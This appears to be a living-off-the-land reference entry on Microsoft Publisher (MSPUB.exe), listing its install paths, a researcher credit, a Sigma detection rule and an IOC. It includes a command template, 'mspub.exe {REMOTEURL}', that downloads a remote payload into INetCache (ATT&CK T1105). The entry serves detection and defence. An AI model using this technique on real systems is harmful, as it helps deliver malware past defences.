.. /Mspub.exe

Star

Paths:

• C:\Program Files (x86)\Microsoft Office 16\ClientX86\Root\Office16\MSPUB.exe
• C:\Program Files\Microsoft Office 16\ClientX64\Root\Office16\MSPUB.exe
• C:\Program Files (x86)\Microsoft Office\Office16\MSPUB.exe
• C:\Program Files\Microsoft Office\Office16\MSPUB.exe
• C:\Program Files (x86)\Microsoft Office 15\ClientX86\Root\Office15\MSPUB.exe
• C:\Program Files\Microsoft Office 15\ClientX64\Root\Office15\MSPUB.exe
• C:\Program Files (x86)\Microsoft Office\Office15\MSPUB.exe
• C:\Program Files\Microsoft Office\Office15\MSPUB.exe
• C:\Program Files (x86)\Microsoft Office 14\ClientX86\Root\Office14\MSPUB.exe
• C:\Program Files\Microsoft Office 14\ClientX64\Root\Office14\MSPUB.exe
• C:\Program Files (x86)\Microsoft Office\Office14\MSPUB.exe
• C:\Program Files\Microsoft Office\Office14\MSPUB.exe

Acknowledgements:

• Nir Chako (Pentera) (@C_h4ck_0)

Detections:

• Sigma: https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_mspub_download.yml
• IOC: Suspicious Office application internet/network traffic

Download

1. Downloads payload from remote server

   mspub.exe {REMOTEURL}

   Use case

   It will download a remote payload and place it in INetCache.

   Privileges required

   User

   Operating systems

   Windows 10, Windows 11

   ATT&CK® technique

   T1105

   Tags

   Download: INetCache